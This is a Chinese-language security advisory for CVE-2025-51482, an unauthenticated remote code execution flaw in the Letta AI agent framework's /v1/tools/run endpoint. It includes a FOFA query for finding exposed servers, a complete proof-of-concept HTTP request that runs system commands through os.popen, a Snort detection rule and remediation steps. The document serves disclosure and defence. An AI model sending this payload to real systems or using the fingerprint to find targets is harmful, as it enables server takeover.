

Letta平台AI代理框架 run 未授权代码执行漏洞(CVE-2025-51482)

Letta平台AI代理框架 run 未授权代码执行漏洞(CVE-2025-51482)，攻击者可执行任意命令导致服务器被控。

影响版本

Letta平台AI代理框架

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: (title="Letta" || (body="/assets/index-048c9598.js" && body="/assets/index-0e31b727.css"))

POC/EXP:

```
POST /v1/tools/run HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Type: application/json
Content-Length: 241

{
  "source_code": "def test():\n    \\\\\"\\\\"Test function to execute system\ncommands.\\\\\\"\\\\"\\n    import os\n    return os.popen('id').read()",
  "args": {},
  "env_vars": { "PYTHONPATH": "/usr/lib/python3/dist-packages" },
  "name": "test"
}
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Letta AI Framework - Unauthorized Code Execution (CVE-2025-51482)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/v1/tools/run"; http_uri;
  content:"Content-Type: application/json"; http_header;
  pcre:"/\"source_code\"\\s*:\\s*\"[\\\"]*import\\s+os[\\\"]*os\\.popen\\([\\\"]*\\)/i";
  metadata:cve CVE-2025-51482;
  metadata:affected_product "Letta AI Agent Framework";
  metadata:vulnerability_type "Remote Code Execution";
  classtype:web-application-attack;
  sid:1000365;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。